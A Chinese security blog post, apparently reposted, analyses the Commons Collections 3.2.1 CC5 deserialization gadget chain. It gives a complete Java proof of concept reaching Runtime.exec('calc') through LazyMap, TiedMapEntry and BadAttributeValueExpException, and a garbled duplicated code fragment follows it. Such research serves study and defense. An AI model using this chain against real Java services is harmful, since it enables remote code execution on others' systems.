CC5利用链分析

分析版本

Commons Collections 3.2.1

JDK 8u65

环境配置参考JAVA安全初探(三):CC1链全分析

分析过程

CC6是在CC1 LazyMap利用链(引用)的基础上。

CC5和CC6相似都是CC1 LazyMap利用链(引用)的基础上,改变了到LazyMap的入口类。

image-20240708201259311

CC6是用TiedMapEntry的hashCode方法,调用getValue,再调用LazyMap.get

CC5是用TiedMapEntry的toString方法,调用getValue,再调用LazyMap.get

再继续向上找toString,作者找到了BadAttributeValueExpException类,可序列化,还重写了readObject方法。

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ObjectInputStream.GetField gf = ois.readFields();Object valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString();} else { // the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}
}

其中Object val可以通过反射进行赋值,

Poc(我是在CC6的基础上改的)

public class cc5 {
//    //LazyMap
//    BadAttributeValueExpExceptionpublic static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);//断掉利用链 TiedMapEntry, LazyMap, ChainedTransformer都可以//举个例子修改tiedMapEntry的 keyTiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), 1);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);Field val = badAttributeValueExpException.getClass().getDeclaredField("val");val.setAccessible(true);val.set(badAttributeValueExpException, tiedMapEntry);//复原//因为key为private,而且也没有public方法能直接修改key//利用反射Class c = TiedMapEntry.class;Field key = c.getDeclaredField("map");key.setAccessible(true);key.set(tiedMapEntry, lazyMap);//cc1_poc.serialize(badAttributeValueExpException);cc1_poc.unserialize("s.ser");}
}
lize(badAttributeValueExpException);cc1_poc.unserialize("s.ser");}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/43371.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Pinia 实战指南:轻松驾驭前端状态管理

前言 本文讲解一下在前端开发中经常使用的一个状态管理工具Pinia Pinia 是 Vue 的专属状态管理库,很值得我们深入去学习一下 Pinia是什么? Pinia是专门为Vue.js应用程序设计的一个状态管理库 主要特点: 简单性: Pinia的设计目标是提高开发效率和用户体验,因此…

gen_circle_contour_xld 创建XLD轮廓对应于圆或圆弧。

gen_circle_contour_xld (Operator)创建XLD轮廓对应于圆或圆弧。 Signature 签名 gen_circle_contour_xld( : ContCircle : Row, Column, Radius, StartPhi, EndPhi, PointOrder, Resolution : ) Description 描述 Gen_circle_contour_xld创建一个或多个圆弧或闭合的圆。圆…

MySQL 的 Buffer Pool 的结构及有什么作用

MySQL 的 Buffer Pool 是 InnoDB 存储引擎中的一个关键组件,负责管理数据库缓存,以提高数据读取和写入的性能。它通过将磁盘上的数据页缓存到内存中,使得数据库可以更快地访问频繁使用的数据,从而降低磁盘 I/O 操作。下面是 MySQL…

全志A527 T527 android13支持usb摄像头

1.前言 我们发现usb摄像头在A527 android13上面并不能正常使用,需要支持相关的摄像头。 2.系统节点查看 我们查看系统是否有相关的节点生成,发现/dev/video相关的节点已经生成了。并没有问题,拔插正常。 3.这里我们需要查看系统层是否支持相关的相机, 我们使用命令进行…

pyqt5图片分辨率导致的界面过大的问题

项目场景:pyqt5的图片分辨率和屏幕分辨率问题 提示:这里简述项目相关背景:图片分辨率:500*500;显示屏分辨率:600;导致界面显示不全; 在其他高分辨率显示屏中没有这个问题。 问题描述…

鹦鹉智能财税系统:代账公司的智能化升级之路

随着新公司法的颁布与实施,财税政策的不断更新,以及大数据、人工智能等新技术的广泛应用,企业老板对于财税合规,以及企业资金安全的需求日益增加。乐财业-鹦鹉智能财税系统从企业老板视角出发,在助力企业合规经营的前提…

量化交易机器人APP软件开发搭建

量化交易机器人APP软件的开发搭建是一个涉及多个环节和技术的过程。以下是一个简化的开发搭建流程,并结合搜索结果给出相关说明: 需求分析: 明确量化交易机器人的功能需求,如数据收集、策略分析、自动交易等。 确定目标市场、用…

电机控制杂谈——位置环到底该用什么调节器?

1.为什么位置环用P调节器尽可以实现无静差调节? 当时在学《运动控制》这门课程时,用的是陈伯时老师的教材。在介绍调节器的时候,教材中说到,P(比例)调节器会存在稳态误差,所以在转速环和电流环…

node使用express在服务器上创建接口,携带参数访问时返回参数

一、下载nodejs​​​​​​Node.js — 在任何地方运行 JavaScriptNode.js is a JavaScript runtime built on Chromes V8 JavaScript engine.https://nodejs.org/zh-cn 二、 安装Express 找一个文件夹,创建 mkdir myapp cd myapp三、初始化一个新的Node.js项目&…

OS Copilot:新手测评体验

文章目录 前言一、OS Copilot(阿里云操作系统智能助手)简介二、测评体验总结OS Copilot 产品体验评测OS Copilot 产品功能反馈 前言 本文简单分享一下自己使用OS Copilot测评体验。 一、OS Copilot(阿里云操作系统智能助手)简介 …

linux驱动应用开发就业前景如何 ?

Linux驱动应用开发的就业前景可以说是非常广阔和有吸引力的,特别是随着物联网(IoT)、嵌入式系统、云计算和大数据等技术的迅速发展。我收集归类了一份嵌入式学习包,对于新手而言简直不要太棒,里面包括了新手各个时期的…

面试官:了解过MySQL的并发嘛

MySQL并发事务解决机制 锁机制:用于控制并发事务,防止数据不一致。MVCC(多版本并发控制):优化并发性能,保证事务隔离。 锁的类型 表级锁: 适用场景:DDL操作,如ALTER TA…

zerotier-one自建根服务器方法五

一、简介 前面几篇文章已经写完了自己建立服务器的方法,今天写一下我在使用过程中遇到的问题和解决方法。 二、准备工作 准备一个有公网IP的云主机。 要稳定性、安全性、不差钱的可以使用阿里、腾讯等大厂的云服务器。 本人穷屌丝一枚,所以我用的是免…

【中项第三版】系统集成项目管理工程师 | 第 4 章 信息系统架构③ | 4.6

前言 第4章对应的内容选择题和案例分析都会进行考查,这一章节属于技术相关的内容,学习要以教材为准。本章分值预计在4-5分。 目录 4.6 网络架构 4.6.1 基本原则 4.6.2 局域网架构 4.6.3 广域网架构 4.6.4 移动通信网架构 4.6.5 软件定义网络 4.6…

【C++ 】-vector:新时代动态数组的革新与未来

目录 1. vector的介绍及使用 1.1 vector的介绍 1.1.1 vector是什么 1.1.2 vector的存储机制 1.2 vector的使用 1.2.1 定义和构造函数 1.2.2 迭代器 1.2.3 容量相关操作 1.2.4 元素访问和修改 1.3 迭代器失效问题 2. vector深度剖析及模拟实现 2.1 std::vector的模拟…

面试题007-Java-Spring

面试题007-Java-Spring 目录 面试题007-Java-Spring题目自测题目答案1. 简单介绍一下Spring?2. Spring有哪些模块?3. 什么是Spring IoC ?4. 什么是依赖注入?有哪几种方式可以进行依赖注入?5. 什么是Spring AOP ?6. 什…

js实现移动蒙版层

移动蒙版层 可在整个页面拖动方块&#xff0c;但方块不能超出页面 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0">…

阿里巴巴开源自然语音交互框架;在抱抱脸上使用LivePortrait;58种提示技术的工具库

✨ 1: FunAudioLLM FunAudioLLM是一个为人类和大型语言模型&#xff08;LLMs&#xff09;之间自然语音交互打造的语音理解和生成基础框架。 FunAudioLLM 是阿里巴巴集团Tongyi SpeechTeam推出的用于增强人类与大语言模型&#xff08;LLM&#xff09;自然语音交互的框架。该框…

去中心化 RAG 先行者,KIP Protocol 如何保护数据所有权、激活 AI 资产

AI 时代&#xff0c;人人都应实现 KnowledgeFi 的梦想或许并不遥远&#xff0c;KIP Protocol 正在生动践行这一价值理念&#xff0c;带动去中心化数字产权的创建与盈利&#xff0c;面向 CryptoAI 的蓝海市场迈出创新探索的技术步伐&#xff0c;朝着 Web3 行业打造去中心化 AI 的…

python:使用openpyxl模块处理excel

前言 最近在实践excel的处理&#xff0c;在此途中&#xff0c;我彻底抛弃了xlwt xlrd的组合&#xff0c;投入了openpyxl这一模块的怀抱。 并成功实现了excel单元格数据的快速访问、修改、样式保持&#xff0c;以及添加填充色等功能。 至于为什么写这个博客&#xff0c;主要是因…